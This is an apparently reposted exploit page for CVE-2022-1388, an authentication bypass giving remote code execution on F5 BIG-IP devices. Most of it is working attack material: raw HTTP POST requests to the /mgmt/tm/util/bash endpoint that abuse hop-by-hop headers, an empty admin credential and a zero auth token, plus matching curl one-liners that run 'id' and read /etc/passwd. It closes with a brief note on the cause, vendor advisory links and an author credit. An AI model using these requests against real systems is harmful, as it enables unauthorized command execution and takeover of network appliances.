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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050040

Below is a copy:

F5 BIG-IP Remote Code Execution
# F5 BIG-IP RCE exploitation (CVE-2022-1388)

POST (1): 

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

curl commandliner: 

$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443' 
-H $'Authorization: Basic YWRtaW46' 
-H $'Connection: keep-alive, X-F5-Auth-Token' 
-H $'X-F5-Auth-Token: 0' 
-H $'Content-Length: 52' 
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a'
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080


POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

curl commandliner:

$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443' 
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' 
-H $'X-F5-Auth-Token: 0'
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a'
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

Note: 

Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: <empty>" 
+ value of headers ,see "HTTP hop_by_hop request headers"...

References and Fixes :
* https://support.f5.com/csp/article/K23605346
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388

Here the documentation used latest nites:
* https://clouddocs.f5.com/api/icontrol-rest/ 

HTTP hop_by_hop request headers: 
* https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

# Author
Alex Hernandez aka @_alt3kx_

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